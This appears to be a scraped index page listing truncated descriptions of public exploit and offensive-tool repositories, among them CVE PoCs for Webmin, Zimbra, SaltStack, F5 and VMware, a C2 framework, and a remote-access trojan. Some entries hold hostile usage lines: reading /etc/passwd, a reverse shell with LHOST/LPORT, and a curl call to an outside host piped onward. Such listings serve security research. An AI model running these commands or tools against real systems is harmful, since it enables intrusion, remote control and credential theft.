CVE-2021-31760

..| CVE-2021-31760 |.. 説明 : クロスサイトリクエストフォージェリ CSRF 攻撃を悪用して、Webmin の実行中プロセス機能を介してリモートコマンド実行 RCE を取得する テスト済みバージョン : Webmin 1.973 GitHubの最新バージョン 07/03/2021 攻撃タイプ: リモート 影響 : リモートコマンド実行 エクスプロイトの C0de POC : YouTube POC : https://youtu.be/D45FN8QrzDo 製品ベンダー : https://www.webmin.com 追加情報 :...

openam-CVE-2021-35464

openam CVE-2021-35464 Tomcat でコマンド実行のエコー。 プロジェクトは ysoserial と Java-Rce-Echo に基づいています。 プロジェクトをビルドするには、依存関係に ysoserial.jar と jato-14.6.3.jar を追加する必要があります。 POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...

CVE-2011-2523

CVE-2011-2523 これらは、管理された環境での攻撃手法の作成に関するメモです。 この演習はブラックボックスであるという前提に立っており、したがって標的システムの情報は不明です。 1- 必要なISO（Metaexploitable2、Kali、またはその他）をダウンロードする 2- 重要：環境はVMwareで設定されているため、両方のマシンをこのハイパーバイザーで実行する必要がある 3- 初期プロセス：ipを実行して2地点間の接続を確認する 4- nmap -sV -Pn 192.168.253.128 を使用する。認識を実行すると、複数のポートが見つかる 21 ftp vsft...

CVE-2023-28771-PoC

CVE-2023-28771-PoC Rapid7の優れた解説記事に基づくCVE-2023-28771のPoC IKEパケット送信にはscapy Pythonライブラリが必要です。 usage: CVE-2023-28771-poc.py -h --cmd CMD --lhost LHOST --lport LPORT rhost positional arguments: rhost options: -h, --help show this help message and exit --cmd CMD --lhost LHOST --lport LPORT...

CVE-2026-39987-POC

CVE-2026-39987 - Marimo 0.23.0 事前認証RCE（WebSocket） Marimoバージョン 0.23.0 未満の重大な事前認証リモートコード実行（RCE）脆弱性のProof of Concept（PoC）エクスプロイトです。 この脆弱性により、認証されていない攻撃者がWebSocketエンドポイント（/terminal/ws）に接続し、ターゲットサーバー上で任意のシステムコマンドを実行できるようになります。 特徴 自動検証 :...

cve-2016-1555

説明 このモジュールは、Netgear WN604 バージョン 3.3.3 より前、および WN802Tv2、WNAP210v2、WNAP320、WNDAP350、WNDAP360、WNDAP660 のバージョン 3.5.5.0 より前における、認証されていない任意のコマンド実行の脆弱性を利用します。この脆弱性は、ルーターが 1 boardData102.php、2 boardData103.php、3 boardDataJP.php、4 boardDataNA.php、5 boardDataWW.php からの POST リクエストを処理する方法に存在します。この脆弱性は...

CVE-2022-1388

CVE-2022-1388-Exploit CVE 2022-1388のエクスプロイトとチェックスクリプト 使用方法 単一のホストURLに対してチェックするには python3 exploit.py -v true -u targeturl ホストを攻撃し、そのホスト上でコマンドをテストするには python3 exploit.py -a true -u targeturl -c command ホストのリストを攻撃するか、ホストURLのIPアドレスが記載されたファイルを指定する python3 exploit.py -s true -f file...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker サーバーサイドテンプレートインジェクション Vmware Workspace ONE Access および Identity Manager に、非常に重大と分類される脆弱性が発見されました。影響を受けるコンポーネントは Template Handler です。 参照: https://vuldb.com/?id.196644 使用方法: python3 CVE-2022-22954.py example.com "cat /etc/passwd" 例: 免責事項 この...

BlackBerryC2

BlackBerryC2 2.0.0-beta BlackBerryC2は、教育目的、セキュリティ研究、管理された実験環境専用 に設計された、暗号化されたリモート管理およびC2フレームワーク です。 このプロジェクトは、外部TLSスタックに依存せず に、アプリケーション層の暗号化 、セッション管理、安全なクライアント通信を備えたカスタムコマンド＆コントロールサーバー を構築する方法を示しています。 ⚠️ 重要なお知らせ このプロジェクトはマルウェアではありません 。不正アクセスを目的としたものではありません 。 BlackBerryC2: 自己増殖しません 脆弱性を自動的に悪用しません...

KindaRails2Shell

KindaRails2Shell：CVE-2026-66066 一个零依赖、单文件的 PoC（概念验证）以及仅限环回地址的 Docker 实验环境，针对 Rails Active Storage/libvips 任意文件读取漏洞。它还演示了安全公告中所述的、从恢复的 secretkeybase 到伪造图像变体并执行命令的条件式提权。 受影响版本：Rails 7.2.0–7.2.3.1、8.0.0–8.0.5 和 8.1.0–8.1.3 已修复版本：Rails 7.2.3.2、8.0.5.1 和 8.1.3.1 运行环境：Python 3.11+，仅使用标准库 适用范围：授权测试与本地研究...

RadareEye

인근 장치를 스캔하고 대상 장치가 범위 내에 들어오면 명령을 실행하는 도구입니다. 참고:- RadareEye 소유자는 이 도구를 사용하여 악의적인 활동을 수행하는 사용자에 대해 책임을 지지 않습니다. 학습 목적으로만 사용하세요. RadareEye 설치 방법 : git clone https://github.com/souravbaghz/RadareEye 사용 방법: ./radare 사용 가능한 옵션: -blue 블루투스 RadareEye -ble BLE RadareEye -wifi Wi-Fi AP RadareEye 블루투스...

CVE-2022-27925

CVE-2022-27925 Zimbra RCE 2022 このリポジトリは hgrab-framework の一部です dork title: "Zimbra Web Client Sign In" 影響を受ける製品 Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 およびそれ以前 Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 およびそれ以前 インストール サーバーにアプリをインストールします user@domain: git clone...

CVE-2021-41773

CVE-2021-41773 Proyecto poc&exp en lenguaje Go. Aviso: este proyecto proviene de las notas de estudio diarias del autor. No utilice las tecnologías y herramientas relacionadas para realizar pruebas ilegales; el autor no es responsable de las consecuencias adversas que puedan derivarse de ello. Us...

sunlogin_rce

前書き 特に言うことはありません。ツールと脆弱性のあるバージョンをそのまま公開します。ローカルで試すにはとても良いものですが、違法なテストには使用しないでください。 テスト済みの向日葵クライアントの脆弱性バージョン:11.0.0.33162 脆弱性のあるクライアントはソースコード内に同梱されています。 ポートスキャンには次を使用:https://github.com/jboursiquot/portscan 脆弱性のあるバージョンフィードバックに基づく 11.1.1 10.3.0.27372 11.0.0.33162 コマンド説明 -h ターゲットを指定 -t...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7以前、Go 1.9.xの1.9.4以前、およびGo 1.10のプレリリース（Go 1.10rc2以前）では、go getがソースコードビルド中にリモートコマンド実行を許可します。これは、gccやclangのプラグイン機能を利用し、-fplugin=および-plugin=引数がブロックされていなかったためです。（mitreより） RCEコマンド コマンドは動的ライブラリcalcdarwin.soにコンパイルされています。現在のコマンドはcurl newton.cycarrier:8002 |...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 マスターで実行: python exp.py --exec-choose master --exec-cmd "whoami" ミニオンで実行: python exp.py --exec-choose minions --exec-cmd "whoami" シェル取得: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ファイル読み取り: python exp.py --read /etc/passwd ファイルアップロード: python...

ghost

ghost ghost は、サーバー/攻撃者にユーザーのコマンドラインインタープリタ（cmd.exe）への完全なリモートアクセスを提供する軽量な RAT です。サーバー/攻撃者は、クライアント/ゾンビに気付かれることなく、静かにコマンドを実行できます。また、サーバー/攻撃者は、クライアント/ゾンビのコンピュータ上でファイルをダウンロードして実行する機能も与えられます。これも静かで隠れたプロセスです。ほとんどのリモートアクセス型トロイの木馬と同様に、このダウンロードおよび実行機能は、ウイルスやその他のマルウェアの拡散に役立ちます。 このマルウェアは、 zombie.exe...

xxl-job

xxl-job エグゼキュータ RESTful API 未認証アクセス RCE 実行ログConsoleを利用することでコマンド実行成功の結果を取得できます： 例： /joblog/logDetailPage?id=xxxx JDK環境変数の確認 String var3 = System.getProperties.toString; System.out.printlnvar3; コマンド実行 /jobcode?jobId=x import com.xxl.job.core.log.XxlJobLogger; import...

pentest-muse-cli

Pentest Muse Pentest Muse는 사이버보안 전문가를 위한 AI 어시스턴트입니다. 침투 테스터가 아이디어를 브레인스토밍하고, 페이로드를 작성하고, 코드를 분석하고, 정찰을 수행하는 데 도움을 줄 수 있습니다. 또한 작업을 수행하고, 명령줄 코드를 실행하며, 복잡한 작업을 반복적으로 해결할 수 있습니다. Pentest Muse 웹 앱 이 명령줄 도구 외에도 Pentest Muse 웹 애플리케이션을 소개하게 되어 기쁩니다! 웹 앱은 최신 온라인 정보에 접근할 수 있으며, 펜테스팅 작업에 좋은 AI 어시스턴트가 될...

CVE-2023-5044

CVE-2023-5044 nginx.ingress.kubernetes.io/permanent-redirect アノテーションによるコードインジェクション まず、Pod と Service をデプロイする必要があります: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image: hashicorp/http-echo args: - "-text=apple" --- kind: Service...